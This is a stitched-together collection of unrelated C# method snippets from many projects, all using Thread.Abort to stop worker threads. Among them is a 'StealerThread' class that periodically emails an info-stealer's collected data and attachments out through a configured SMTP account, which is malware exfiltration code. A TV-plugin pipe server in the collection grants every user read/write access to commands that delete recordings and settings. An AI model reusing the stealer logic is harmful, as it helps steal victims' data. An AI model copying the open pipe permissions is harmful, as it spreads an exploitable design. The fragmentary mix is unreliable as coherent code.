public void ScanFile(IWin32Window ParentForm, string FileName) { lock (this.FSD) { if (FileName != null && File.Exists(FileName)) { this.FSD = new FileScanDialog(); var T = new Thread(() => { try { Application.DoEvents(); while (!this.FSD.Visible) { Thread.Sleep(0); Application.DoEvents(); } this.FSD.Invoke(new AnonymousMethod(() => this.FSD.ResetProgress())); this.FileContents = FileType.LoadAll(FileName, (msg, pct) => this.FSD.Invoke(new AnonymousMethod(() => this.FSD.SetProgress(msg, pct)))); this.FSD.Invoke(new AnonymousMethod(() => this.FSD.Finish())); } catch { this.FileContents = null; } }); T.CurrentUICulture = Thread.CurrentThread.CurrentUICulture; T.Start(); if (this.FSD.ShowDialog(ParentForm) == DialogResult.Abort) { this.FSD.Finish(); this.FileContents = null; } if (T.IsAlive) T.Abort(); this.FSD.Dispose(); this.FSD = null; } } }
private static void CheckForLoops(IEnumerable<Activity> activities) { var isCaughtProperly = false; var thread = new System.Threading.Thread( () => { try { activities.CriticalPath(p => p.Predecessors, l => (long)l.Duration); } catch (System.InvalidOperationException ex) { System.Console.WriteLine("Found problem: " + ex.Message); isCaughtProperly = true; } } ); thread.Start(); for (var i = 0; i < 100; i++) { Thread.Sleep(100); // Wait for 10 seconds - our thread should finish by then if (thread.ThreadState != ThreadState.Running) break; } if(thread.ThreadState ==ThreadState.Running) thread.Abort(); System.Console.WriteLine(isCaughtProperly ? "Critical path caught the loop" : "Critical path did not find the loop properly"); }
public void HardenedThreadAbortException() { Thread t = new Thread(new ThreadStart(HardenedThreadAbortExceptionWorker)); t.Name = "Execute Query"; t.Start(); Thread.Sleep(500); t.Abort(); t.Join(); }
private void stop_ConstantRead_Click(object sender, EventArgs e)//停止多线程读取 { //打开连线按钮 constantRW.Enabled = true; //关闭断线按钮 stop_ConstantRead.Enabled = false; //读取旗标 isReadPlc = false; //停止多线程 threadRead?.Abort(); }
//======================================================================================== // Cancel() //======================================================================================== /// <summary> /// Cancels executing multiple statements. The currently executing query attempts /// to abort but may complete before the Cancel takes effect. /// </summary> public void Cancel() { if (worker != null) { worker.Abort(); worker = null; } timer = null; isExecuting = false; isCancelled = true; }
public void IT_CacheEndToEnd() { //1. 启动缓存服务 Thread thread = new Thread(StartCache); thread.Start(); Thread.Sleep(5000); //2. 测试单一存和取 GetAndSet(); thread.Abort(); CloseCache(); }
public void TestScaffoldClass() { ScaffoldTool scaffold = new ScaffoldTool(new TraceOutputter()); // TODO-johnls-1/2/2008: This property is really just a hack scaffold.NoRemoting = true; scaffold.ScriptPath = new ParsedPath("HelloWorld.csr", PathType.File); System.Threading.Thread t = new System.Threading.Thread(delegate() { EnvDTE._DTE dte = null; while ((dte = GetIDEInstances("HelloWorld.sln")) == null) { System.Threading.Thread.Sleep(100); } dte.Application.Quit(); }); t.Start(); scaffold.Execute(); if (scaffold.Output.HasOutputErrors) { t.Abort(); } else { if (!t.Join(10000)) { t.Abort(); } } Assert.IsFalse(scaffold.Output.HasOutputErrors, "Scaffold failed"); }
private void startup() { dolog(); if (DSplugin) { timer1 = new Thread(timer); timer1.IsBackground = true; timer1.Start(); return; } try { th.Abort(); } catch { } th = new System.Threading.Thread(delegate() { StartCapture(); }); th.Name = "Video Thread"; th.Start(); }
protected override void OnStop() { if (Validacoes.CliqueSaida == false) { Validacoes.CliqueSaida = true; this.threadBalancaPesagem.Abort(); threadEnviaPeso.Abort(); Validacoes.BSocket[0].Close(); Validacoes.BSocket[0].Dispose(); Finish(); } base.OnStop(); }
public void BattleExit() { //if (Monitor.IsEntered(logicFrameLock)) // Monitor.Exit(logicFrameLock); if (logicThread != null && logicThread.IsAlive) { logicThread.Abort(); } logicThread = null; DestroyAllEntities(); MSystemThreadPool.Instance.Stop(); // _actorSpawnSystem.Clear(); // _effectSystem.Clear(); }
public void StopServer() { try { mIsStarted = false; clientSock.Close(); mListenerThread.Abort(); //mListenerThread.Join(); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
private void StopThread() { try { if (receive != null) { receive.Abort(); } } finally { receive = null; } }
public void Stop() { //_stopTokenSource?.Cancel(); if (_stopTokenSource != null) { _stopTokenSource.Cancel(); } if (_UdpListener != null) { _UdpListener.Close(); } if (_UdpForwarder != null) { _UdpForwarder.Close(); } //_udpListener?.Close(); //_udpForwarder?.Close(); /*try * { * _listeningTask?.Wait(); * _forwardingTask?.Wait();*/ if (_ListeningTask != null) { _ListeningTask.Abort(); } if (_ForwardingTask != null) { _ForwardingTask.Abort(); } /* } * catch (AggregateException) * { * }*/ _stopTokenSource = null; _UdpListener = null; _UdpForwarder = null; _ListeningTask = null; _ForwardingTask = null; _transactionClients = null; _transactionTimeoutCancellationTokenSources = null; OnStopped(); }
public static void ForceStopThread() { try { LoggerN.logMessage(HiddenAccessN.GetRobotName() + " is not stopping. Forcing a stop."); robotThread.Priority = ThreadPriority.Lowest; robotThread.Abort(); robotThread.Interrupt(); } catch (Exception ex) { LoggerN.logError(ex); throw; } }
public void Close() { try { ThreadStop = true; if (pThreadLogWrite != null) { pThreadLogWrite.Abort(); } } catch (Exception ex) { } }
private void FrmPrincipal_FormClosing(object sender, FormClosingEventArgs e) { Properties.Settings.Default.F1State = this.WindowState; if (this.WindowState == FormWindowState.Normal) { // save location and size if the state is normal Properties.Settings.Default.F1Location = this.Location; Properties.Settings.Default.F1Size = this.Size; } else { // save the RestoreBounds if the form is minimized or maximized! Properties.Settings.Default.F1Location = this.RestoreBounds.Location; Properties.Settings.Default.F1Size = this.RestoreBounds.Size; } // don't forget to save the settings Properties.Settings.Default.Save(); if (ThreadSkype != null) { ThreadSkype.Abort(); } }
private AsyncUserJob(DelegateJob callback, string title) : base(title) { thread = new Thread(delegate() { callback(); Finish(); }); CanCancel = true; CancelRequested += delegate { thread.Abort(); Finish(); }; SetResources(Resource.Cpu); }
public void loadMap() { if (loaded) { return; } if (loadThread != null && loadThread.IsAlive) { loadThread.Abort(); abortThread = true; error = "Aborted"; } else { dropdownbox.SetActive(false); loadbutton.SetActive(false); loadModelViewerbutton.SetActive(false); loadWardrobebutton.SetActive(false); thirdPersonToggle.SetActive(false); //ThirdPersonUIToggle.set if (threaded) { loadThread = new System.Threading.Thread(new System.Threading.ThreadStart(doLoadMap)); loadThread.Start(); } else { System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch(); watch.Start(); doLoadMap(); watch.Stop(); Debug.Log("doLoadMap in " + watch.ElapsedMilliseconds + " ms"); } } }
public void Disconnect() { if (thread == null || socket == null) { return; } socket.Shutdown(SocketShutdown.Both); // thread.Join(); TODO this call used to work, but now just freezes the GUI on disconnection. thread.Abort(); // so just abort it instead. thread = null; if (StateChangedEvent != null) { StateChangedEvent(this, false); } }
public void Stop() { if (avrthread == null) { return; } if (!avrthread.IsAlive) { avrthread.Abort(); while (avrthread.IsAlive == true) { } WorkerComplete("Cancelled", true); } }
/** * Disconnect from the remote ros environment. */ public void Disconnect() { _myThread.Abort(); foreach (Type p in _subscribers) { _ws.Send(ROSBridgeMsg.UnSubscribe(GetMessageTopic(p))); //Debug.Log ("Sending " + ROSBridgePacket.unSubscribe(getMessageTopic(p))); } foreach (Type p in _publishers) { _ws.Send(ROSBridgeMsg.UnAdvertise(GetMessageTopic(p))); //Debug.Log ("Sending " + ROSBridgePacket.unAdvertise (getMessageTopic(p))); } _ws.Close(); }
public new void Dispose() { addLog("IntermecScanControl Dispose()..."); _continueWait = false; //signal thread to stop SystemEvent waitEvent = new SystemEvent("EndWaitLoop52", false, false); waitEvent.PulseEvent(); System.Threading.Thread.Sleep(100); if (bcr != null) { addLog("IntermecScanControl Dispose(): Calling ScannerOnOff(false)..."); scannerOnOff(false); addLog("IntermecScanControl Dispose(): Disposing BarcodeReader..."); //bcr.ThreadedRead(false); bcr.BarcodeRead -= bcr_BarcodeRead; bcr.Dispose(); bcr = null; addLog("IntermecScanControl Dispose(): BarcodeReader disposed"); } try { addLog("IntermecScanControl Dispose(): enabling HardwareTrigger..."); //replaced this call as ADCComInterface made problems //S9CconfigClass.S9Cconfig.HWTrigger.setHWTrigger(true); YetAnotherHelperClass.setHWTrigger(true); YetAnotherHelperClass.setNumberOfGoodReadBeeps(1); } catch (Exception ex) { addLog("IntermecScanControl Dispose(), Exception: enabling HardwareTrigger: " + ex.Message); } addLog("IntermecScanControl Dispose(): restoring Scan Button Key..."); ITCTools.KeyBoard.restoreKey(); addLog("IntermecScanControl Dispose(): ending Threads..."); if (waitThread != null) { addLog("IntermecScanControl Dispose(): ending event watch thread ..."); waitThread.Abort(); } if (readThread != null) { addLog("IntermecScanControl Dispose(): ending Barcode reading thread ..."); readThread.Abort(); } addLog("...IntermecScanControl Dispose(): end."); //base.Dispose(); do not use!! }
public static void CloseSock() { Thread.Sleep(30); try { UDP_Server.Close(); thdUdp.Abort(); } catch (Exception e) { if (Sock_Error != null) { Sock_Error(e.ToString()); } } }
void command_thread_main() { do { Mono.Debugger.Backend.Semaphore.Wait(); if (mono_debugger_server_get_pending_sigint() == 0) { continue; } if (interpreter.Interrupt() > 2) { main_thread.Abort(); } } while (true); }
private void Form1_FormClosed(object sender, FormClosedEventArgs e) { try { Client.Close(); thConnecttoServer.Abort(); } catch (Exception ex) { } finally { Application.Exit(); } }
// #thread #abort public static void Thread_Abort() { System.Threading.Thread tickThread = new System.Threading.Thread(() => { int i = 0; while (i < 1000000000) { Console.WriteLine("Tick" + i++.ToString()); System.Threading.Thread.Sleep(1000); } }); tickThread.Start(); System.Threading.Thread.Sleep(3500); tickThread.Abort(); }
private void LoginStep1() { try { Options.GlobalVar.IAUsername = this.cbLoginName.Text.Trim(); Options.GlobalVar.IAPassword = this.txtPassword.Text.Trim(); if (string.IsNullOrEmpty(Options.GlobalVar.IAUsername) || string.IsNullOrEmpty(Options.GlobalVar.IAPassword)) { throw new Exception("用户名或者密码不能为空!"); } System.Threading.Thread th = new System.Threading.Thread(new System.Threading.ThreadStart(LoginIA)); th.Start(); if (!th.Join(System.Threading.Timeout.Infinite))//此处被Abort { th.Abort(); throw new TimeoutException("连接超时,请稍后再试!"); } else if (!string.IsNullOrEmpty(this.errorMsg)) { throw new Exception(this.errorMsg); } if (Options.GlobalVar.QueryType == XMLConfig.QueryType.Eterm) { th = new System.Threading.Thread(new System.Threading.ThreadStart(LoginStep2)); th.Start(); } else { this.DialogResult = DialogResult.OK; } } catch (ThreadAbortException) { Stop(); } catch (Exception ex) { this.BeginInvoke(new MethodInvoker(delegate { MessageBox.Show("登录失败:" + ex.Message); })); Stop(); } }
public void doShutdown() { shutdown = true; Debug.Log("SHUTDOWN world loader thread"); DateTime end = DateTime.Now.AddMilliseconds(10000); do { if (DateTime.Now > end) { worldThread.Abort(); break; } }while (worldThread.IsAlive); Debug.Log("world loader thread is now shutdown"); }
private void BtnLidarConnect_Click(object sender, RoutedEventArgs e) { LidarConnectionStatus.Text = ""; System.Threading.Thread LidarThread = new System.Threading.Thread(new System.Threading.ThreadStart(LS210)); if (!IsLidarRuning) { LidarThread.Start(); BtnLidarConnect.Content = "Disconnect Lidar"; } else { LidarThread.Abort(); BtnLidarConnect.Content = "Connect Lidar"; } IsLidarRuning = !IsLidarRuning; //LS210("192.168.1.100", 5500, 0); }
public void Dispose() { if (_readThread != null) { _readThread.Abort(); } Disconnect(); if (_client != null) { try { _client.Close(); } catch { } _client = null; } }
public void CloseThreadedSocket(bool WaitForThread = true) { this.IsRunning = false; // kill thread if (RecvThread != null) { Debug.Log("aborting thread..."); // I think we can safely abort, might need to check. If we don't, depending on how much data we've thrown at the decoder, this could take ages to finish RecvThread.Abort(); RecvThread.Join(); RecvThread = null; } // stop thread looping this.IsRunning = false; }
public void FindReceiver_GivenThereIsAReceiverOnTheLeftOutletButNotTheRightOutlet_ReturnsNull() { // Arrange var thread = new Thread(() => { splittingPipe.LeftOutlet.Receive(); }); thread.Start(); Thread.Sleep(500); // Act var receiver = splittingPipe.FindReceiver(splittingPipe.Inlet); // Assert receiver.Should().BeNull(); thread.Abort(); }
/// <summary> /// LogAct를 종료시킨다. /// </summary> public void subCloseLog() { try { ThreadStopFlag = true; plogPLC.Close(); if (pThreadDateCheck != null) { pThreadDateCheck.Abort(); } } catch (Exception ex) { pInfo.subLog_Set(clsInfo.LogType.CIM, ex.ToString()); } }
public List <MdnsRecord> QueryAll(string serviceName, int timeout) { byte[] payload = MdnsQuery.Create(serviceName); var _client = CreateClient(); List <MdnsRecord> records = new List <MdnsRecord>(); bool KeepSearching = true; var now = DateTime.Now; var queryThread = new System.Threading.Thread(() => { _client.Send(payload, payload.Length, new IPEndPoint(IPAddress.Parse(MdnsListener.MDNS_IP), MdnsListener.MDNS_PORT)); while (KeepSearching) { try { var endpoint = new IPEndPoint(IPAddress.Any, MdnsListener.MDNS_PORT); byte[] recData = _client.Receive(ref endpoint); var record = new MdnsRecord(recData); if (record.Domain.Replace(".local", "") == serviceName) { records.Add(record); } } catch { } } }); queryThread.Start(); while ((DateTime.Now - now).TotalSeconds < timeout) { ; } try { queryThread.Abort(); queryThread = null; } catch {} return(new List <MdnsRecord>(records)); }
public void Stop() { try { if (Task != null && CancellationTokenSource != null) { CancellationTokenSource.Cancel(); } if (Task != null) { Task.Abort(); Task = null; } } catch (Exception ee) { } }
public void Stop() { FpsDisplayer.Enabled = false; queueThread.Abort(); queueThread.Join(); queueThread = null; writeThread.Abort(); writeThread.Join(); writeThread = null; webcam.SignalToStop(); webcam.WaitForStop(); splitter.Stop(); writingQueue.Clear(); }
public Socket ConnectTo(IPAddress address, int port) { _remoteEndPoint = new IPEndPoint(address, port); _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); while (true) { _waitForConnection = new AutoResetEvent(false); var connectorThread = new Thread(WaitForConnection); connectorThread.Start(); if (!_waitForConnection.WaitOne(4000, false)) { connectorThread.Abort(); _socket.Close(); _socket = null; } return _socket; } }
/// <summary> /// Aborts the specified worker thread, if configured to do so. /// </summary> /// <param name="workerThread">The worker thread.</param> /// <returns>True if thread aborted; false otherwise</returns> public bool Abort(Thread workerThread) { //return if we never abort worker threads if (!_configuration.AbortWorkerThreadsWhenStopping) return false; //return if the worker is already dead if (workerThread == null || !workerThread.IsAlive) return true; //we can't abort async threads if (_messageMode.Mode == MessageProcessingModes.Async) { return false; } //abort the thread... :( workerThread.Abort(); return true; }
public StealerThread(IStealer stealer, int delay) { _delay = delay; _stealer = new Thread(stealer.Collect); _reporter = new Thread(delegate() { while (true) { bool runOnce = _delay < 1; if (!runOnce) { Thread.Sleep(_delay*60000); } if (string.IsNullOrEmpty(stealer.Data)) continue; ReportEmail em = new ReportEmail(stealer.Name, Program.Settings.EmailAddress, Program.Settings.EmailPassword, Program.Settings.SmtpAddress, Program.Settings.SmtpPort); if (stealer.Attachments == null) { em.Send(stealer.Data); } else { em.Send(stealer.Data, stealer.Attachments); } stealer.Data = null; stealer.Attachments = null; if (runOnce) { _stealer.Abort(); _reporter.Abort(); break; } } }); Variables.StealerPool.Add(this); }
static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Form foo = new Form1(); //Application.Run(foo); Thread newThread; //Process P1 = Process.Start(form()); //P1.WaitForExit(5000); //System.Threading.Thread.Sleep(500); //foo.Close(); //Application.Exit(); //foo.Close(); //Environment.Exit(0); newThread = new System.Threading.Thread(() => Application.Run(new Form1())); newThread.Start(); System.Threading.Thread.Sleep(2000); newThread.Abort(); newThread = new System.Threading.Thread(() => Application.Run(new Form3())); newThread.Start(); System.Threading.Thread.Sleep(2000); newThread.Abort(); }
private void ServerThreadRoutine(object data) { string defaultTimeOutValuestring = TimeOutValuestring; TvBusinessLayer layer = new TvBusinessLayer(); Setting setting = null; while (PipeServerActive) { try { var sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null); var rule = new PipeAccessRule(sid, PipeAccessRights.ReadWrite,System.Security.AccessControl.AccessControlType.Allow); var sec = new PipeSecurity(); sec.AddAccessRule(rule); #if (MPTV2) string pipeName = "MP2TvWishListPipe"; #else string pipeName = "TvWishListPipe"; #endif pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.None, 0, 0, sec); //only 1 thread for pipe int threadId = Thread.CurrentThread.ManagedThreadId; // Wait for a client to connect Logdebug("TvServer: Waiting for client to connect"); PipeServerBusy = false; pipeServer.WaitForConnection(); ServerMessage = string.Empty; Logdebug("Client connected on pipe server thread."); PipeServerBusy = true; ; // Read the request from the client. Once the client has // written to the pipe its security token will be available. //pipeServer.ReadTimeout = 5000; //timeout not supported for async streams StreamString ss = new StreamString(pipeServer); // Verify our identity to the connected client using a // string that the client anticipates. MessageFromClient = ss.ReadString(); //receive message from client first //labelreceivedTextServer.Text = messagefromclient; Logdebug("***** CLIENTMESSAGE=" + MessageFromClient); //******************************* //commandinterpretation //******************************* if (MessageFromClient == PipeCommands.RequestTvVersion.ToString()) { string response = PipeCommands.RequestTvVersion.ToString() + "=" + this.Version; Logdebug("sending response " + response); ss.WriteString(response); } else if (MessageFromClient.StartsWith(PipeCommands.StartEpg.ToString()) == true) { defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Logdebug("Changed TimeOutValuestring=" + TimeOutValuestring); } Logdebug("Starting EPG Search from pipe command"); Thread StartEPGsearchThread = new Thread(StartEPGsearchCommand); StartEPGsearchThread.Start(); while ((ServerMessage.StartsWith(PipeCommands.Ready.ToString())==false) && (ServerMessage.StartsWith(PipeCommands.Error.ToString()) == false)) { ServerTimeOutCounter = new Thread(ServerTimeOutError); ServerTimeOutCounter.Start(); while ((NewServerMessage == false) || (ServerMessage==string.Empty)) { Thread.Sleep(500); Logdebug("waiting for new servermessage (ServerMessage="+ServerMessage); } Logdebug("Sending Servermessage=" + ServerMessage); ss.WriteString(ServerMessage); //send response messages until done ServerTimeOutCounter.Abort(); NewServerMessage = false; } TimeOutValuestring = defaultTimeOutValuestring; } else if (MessageFromClient.StartsWith(PipeCommands.Error_TimeOut.ToString()) == true) { TimeOutValuestring = MessageFromClient.Replace(PipeCommands.Error_TimeOut.ToString(), string.Empty); Logdebug("new TimeOutValuestring="+TimeOutValuestring); ss.WriteString(TimeOutValuestring); } else if (MessageFromClient.StartsWith(PipeCommands.ExportTvWishes.ToString()) == true) { defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Log.Debug("Changed TimeOutValuestring=" + TimeOutValuestring); } if (MessageFromClient.Contains("VIEWONLY=TRUE") == true) { ServerMessage = ExportTvWishes(true); } else //Email & Record Mode { ServerMessage = ExportTvWishes(false); } ss.WriteString(ServerMessage); TimeOutValuestring = defaultTimeOutValuestring; } else if (MessageFromClient.StartsWith(PipeCommands.ImportTvWishes.ToString()) == true) { defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Logdebug("Changed TimeOutValuestring=" + TimeOutValuestring); } if (MessageFromClient.Contains("VIEWONLY=TRUE") == true) { ServerMessage = ImportTvWishes(true); } else //Email & Record Mode { ServerMessage = ImportTvWishes(false); } ss.WriteString(ServerMessage); TimeOutValuestring = defaultTimeOutValuestring; } else if (MessageFromClient.StartsWith(PipeCommands.RemoveSetting.ToString()) == true) { defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Logdebug("Changed TimeOutValuestring=" + TimeOutValuestring); } string tag = tokens[0].Replace(PipeCommands.RemoveSetting.ToString(), string.Empty); setting = layer.GetSetting(tag, string.Empty); if (setting != null) { setting.Remove(); ServerMessage = "Setting " + tag + " removed"; Logdebug("Setting " + tag + " removed"); } else { ServerMessage = "Setting " + tag + " could not be removed"; Logdebug("Eror: Setting " + tag + " could not be removed"); } ss.WriteString(ServerMessage); TimeOutValuestring = defaultTimeOutValuestring; } else if (MessageFromClient.StartsWith(PipeCommands.RemoveRecording.ToString()) == true) {//string command = Main_GUI.PipeCommands.RemoveRecording.ToString() + this.IdRecording.ToString() + ":10"; defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Logdebug("Changed TimeOutValuestring=" + TimeOutValuestring); } string idRecordingString = tokens[0].Replace(PipeCommands.RemoveRecording.ToString(), string.Empty); try { int idRecording = -1; int.TryParse(idRecordingString, out idRecording); Logdebug("idRecording=" + idRecording.ToString()); Recording myrecording = Recording.Retrieve(idRecording); Logdebug("idRecording=" + myrecording.Title.ToString()); myrecording.Delete(); Logdebug("Recording deleted"); ServerMessage = "Recording deleted"; } catch (Exception exc) { Logdebug("no recording found for idRecordingString = " + idRecordingString); Logdebug("exception is " + exc.Message); ServerMessage = "Error: Recording could not be deleted check the tvserver log file"; } ss.WriteString(ServerMessage); TimeOutValuestring = defaultTimeOutValuestring; } else if (MessageFromClient.StartsWith(PipeCommands.RemoveLongSetting.ToString()) == true) { defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Logdebug("Changed TimeOutValuestring=" + TimeOutValuestring); } //processing string mysetting = string.Empty; try { //cleanup work mysetting = tokens[0].Replace(PipeCommands.RemoveLongSetting.ToString(), string.Empty); Log.Debug("mysetting=" + mysetting); for (int i = 1; i < 1000; i++) { setting = layer.GetSetting(mysetting + "_" + i.ToString("D3"), "_DOES_NOT_EXIST_"); Log.Debug("save_longsetting setting=" + setting.Value); if (setting.Value == "_DOES_NOT_EXIST_") { setting.Remove(); break; } else { string value = setting.Value; setting.Remove(); } } ServerMessage = "Long setting could be removed"; } catch (Exception exc) { Logdebug("Longsetting could not be removed for mysetting= " + mysetting); Logdebug("exception is " + exc.Message); ServerMessage = "Error: Long setting could not be removed - check the tvserver log file"; } ss.WriteString(ServerMessage); TimeOutValuestring = defaultTimeOutValuestring; } #if (MPTV2) else if (MessageFromClient.StartsWith(PipeCommands.WriteSetting.ToString()) == true) { string tag = MessageFromClient.Replace(PipeCommands.WriteSetting.ToString(), string.Empty); string[] tags = tag.Split('\n'); ServiceAgents.Instance.SettingServiceAgent.SaveValue(tags[0], tags[1]); ServerMessage = "SUCCESS"; ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadSetting.ToString()) == true) { string tag = MessageFromClient.Replace(PipeCommands.ReadSetting.ToString(), string.Empty); Log.Debug("tag="+tag); string value = ServiceAgents.Instance.SettingServiceAgent.GetValue(tag, string.Empty); Log.Debug("value=" + value); ServerMessage = value; ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllCards.ToString()) == true) { defaultTimeOutValuestring = TimeOutValuestring; string[] tokens = MessageFromClient.Split(':'); if (tokens.Length > 1) { TimeOutValuestring = tokens[1]; Logdebug("Changed TimeOutValuestring=" + TimeOutValuestring); } ServerMessage = string.Empty; foreach (Card mycard in Card.ListAll()) { ServerMessage += mycard.IdCard.ToString() + "\n" + mycard.Name + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllChannelsByGroup.ToString()) == true) { string groupIdString = MessageFromClient.Replace(PipeCommands.ReadAllChannelsByGroup.ToString(), string.Empty); Log.Debug("groupIdString="+groupIdString); int groupId = -1; int.TryParse(groupIdString, out groupId); Log.Debug("groupId=" + groupId.ToString()); ServerMessage = string.Empty; foreach (Channel mychannel in Channel.ListAllByGroup(groupId)) { ServerMessage += mychannel.IdChannel.ToString() + "\n" + mychannel.DisplayName + "\n"; } Log.Debug("Groupchannels=" + ServerMessage); //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllChannels.ToString()) == true)//must be after ReadAllChannelsByGroup { ServerMessage = string.Empty; foreach (Channel mychannel in Channel.ListAll()) { ServerMessage += mychannel.IdChannel.ToString() + "\n" + mychannel.DisplayName + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllRadioChannelsByGroup.ToString()) == true) { string groupIdString = MessageFromClient.Replace(PipeCommands.ReadAllRadioChannelsByGroup.ToString(), string.Empty); Log.Debug("radiogroupIdString=" + groupIdString); int groupId = -1; int.TryParse(groupIdString, out groupId); Log.Debug("radiogroupId=" + groupId.ToString()); ServerMessage = string.Empty; foreach (RadioChannel myradiochannel in RadioChannel.ListAllByGroup(groupId)) { ServerMessage += myradiochannel.Id.ToString() + "\n" + myradiochannel.Name + "\n"; } Log.Debug("radioGroupchannels=" + ServerMessage); //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllRadioChannels.ToString()) == true)//must be after ReadAllRadioChannelsByGroup { ServerMessage = string.Empty; foreach (RadioChannel myradiochannel in RadioChannel.ListAll()) { ServerMessage += myradiochannel.Id.ToString() + "\n" + myradiochannel.Name + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllChannelGroups.ToString()) == true) { ServerMessage = string.Empty; foreach (ChannelGroup mygroup in ChannelGroup.ListAll()) { ServerMessage += mygroup.Id.ToString() + "\n" + mygroup.GroupName + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllRadioChannelGroups.ToString()) == true) { ServerMessage = string.Empty; foreach (RadioChannelGroup myradiogroup in RadioChannelGroup.ListAll()) { ServerMessage += myradiogroup.Id.ToString() + "\n" + myradiogroup.GroupName + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllRecordings.ToString()) == true) { ServerMessage = string.Empty; foreach (Recording myrecording in Recording.ListAll()) { ServerMessage += myrecording.IdRecording.ToString() + "\n" + myrecording.Title + "\n"+myrecording.FileName + "\n" + myrecording.IdChannel.ToString() + "\n" + myrecording.StartTime.ToString("yyyy-MM-dd_HH:mm", CultureInfo.InvariantCulture) + "\n" + myrecording.EndTime.ToString("yyyy-MM-dd_HH:mm", CultureInfo.InvariantCulture) + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ReadAllSchedules.ToString()) == true) { ServerMessage = string.Empty; foreach (Schedule myschedule in Schedule.ListAll()) { ServerMessage += myschedule.IdSchedule.ToString() + "\n" + myschedule.ProgramName + "\n" + myschedule.IdChannel.ToString() + "\n" + myschedule.StartTime.ToString("yyyy-MM-dd_HH:mm", CultureInfo.InvariantCulture) + "\n" + myschedule.EndTime.ToString("yyyy-MM-dd_HH:mm", CultureInfo.InvariantCulture) + "\n" + myschedule.ScheduleType.ToString() + "\n" + myschedule.PreRecordInterval.ToString() + "\n" + myschedule.PostRecordInterval.ToString() + "\n" + myschedule.MaxAirings.ToString() + "\n" + myschedule.KeepDate.ToString("yyyy-MM-dd_HH:mm", CultureInfo.InvariantCulture) + "\n" + myschedule.KeepMethod.ToString() + "\n" + myschedule.Priority.ToString() + "\n" + myschedule.PreRecordInterval.ToString() + "\n" + myschedule.Series.ToString() + "\n"; } //65000 max chars ss.WriteString(ServerMessage); } else if (MessageFromClient.StartsWith(PipeCommands.ScheduleDelete.ToString()) == true) { string scheduleIdString = MessageFromClient.Replace(PipeCommands.ScheduleDelete.ToString(), string.Empty); Log.Debug("scheduleIdString=" + scheduleIdString); int scheduleId = -1; int.TryParse(scheduleIdString, out scheduleId); Log.Debug("scheduleId=" + scheduleId.ToString()); Schedule.Delete(scheduleId); //65000 max chars ss.WriteString("Deleted"); } else if (MessageFromClient.StartsWith(PipeCommands.ScheduleNew.ToString()) == true) { string schedule = MessageFromClient.Replace(PipeCommands.ScheduleNew.ToString(), string.Empty); string[] scheduletags = schedule.Split('\n'); int idChannel = -1; int.TryParse(scheduletags[1], out idChannel); DateTime start = DateTime.ParseExact(scheduletags[2], "yyyy-MM-dd_HH:mm", System.Globalization.CultureInfo.InvariantCulture); DateTime end = DateTime.ParseExact(scheduletags[3], "yyyy-MM-dd_HH:mm", System.Globalization.CultureInfo.InvariantCulture); Schedule myschedule = new Schedule(idChannel, scheduletags[0], start, end); myschedule.Persist(); ServerMessage = "SUCCESS"; ss.WriteString(ServerMessage); } #endif else //Unknown command { Logdebug("sending response " + PipeCommands.UnknownCommand.ToString()); ss.WriteString(PipeCommands.UnknownCommand.ToString()); } } // Catch the IOException that is raised if the pipe is broken // or disconnected. catch (IOException e) { Log.Error("ServerThread ERROR: " + e.Message); } catch (Exception e) { Log.Error("ServerThread ERROR: " + e.Message); } if (pipeServer != null) { if (pipeServer.IsConnected) pipeServer.Disconnect(); pipeServer.Close(); pipeServer.Dispose(); pipeServer = null; } Logdebug("Connection closed"); } Logdebug("Pipe Server Thread Completed"); }
